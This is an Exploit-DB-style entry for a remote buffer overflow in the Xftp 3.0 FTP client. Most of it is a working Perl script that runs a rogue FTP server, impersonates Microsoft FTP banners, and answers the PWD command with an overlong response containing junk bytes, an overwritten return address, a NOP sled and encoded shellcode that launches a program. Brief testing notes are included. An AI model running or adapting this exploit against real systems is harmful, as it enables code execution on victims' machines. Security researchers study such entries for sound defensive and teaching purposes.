Xftp client 3.0 – ‘PWD’ Remote Overflow
# Exploit Title: Xftp client 3.0 PWD Remote Exploit # Date: 2010-04-21 # Author: zombiefx # Software Link: http://www.netsarang.com/download/down_xft3.html # Version: Xftp 3.0 build 0238 # Tested on: Windows XP SP3 # Usage: ./xftp_exploit # The BOF occurs when sending an overly long PWD response. ########################################################################### # EDB Testing Notes: # Buffer is length sensitive. If too long (example: 3000 bytes) you won't # even get a crash at all. Tested on Windows XP SP3 ENG. ########################################################################### # Code: #!/usr/bin/perl use warnings; use strict; use IO::Socket; my $sock = IO::Socket::INET->new( LocalPort => '21', Proto => 'tcp', Listen => '1' ) or die "Socket Not Created $!\n"; print "#############################################################\n" . "#Xftp client 3.0 PWD Exploit #\n" . "#Listening on port 21 #\n" . "#By:zombiefx Email: darkernet[at]gmail.com #\n" . "#Major Greetz to corelanc0d3r/Dino Dai Zovi #\n" . "#############################################################\n"; my $junk = "\x41" x 1019; my $eip = pack( 'V', 0x100123AF ) x 4; #Universal ..i think my $nops = "\x90" x 55; my $calcshell = "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" . "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" . "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" . "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" . "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" . "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" . "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" . "\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" . "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" . "\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" . "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" . "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" . "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" . "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" . "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" . "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" . "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" . "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" . "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" . "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" . "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" . "\x31\x42\x4c\x42\x43\x45\x50\x41\x41"; my $payload = $junk . $eip . $nops . $calcshell; while ( my $data = $sock->accept() ) { print "Client Connected!\nAwaiting Ftp commands: \n"; print $data "220 Microsoft FTP Service\r\n"; while (<$data>) { print; print $data "331 Anonymous access allowed.\r\n" if (/USER/i); print $data "230-Welcome to FTP.MICROSOFT.COM.\r\n230 User logged in.\r\n" if (/PASS/i); print $data "257 \"/$payload\" is current directory.\r\n" if (/PWD/i); } print "Payload delivered check the client!\n"; } |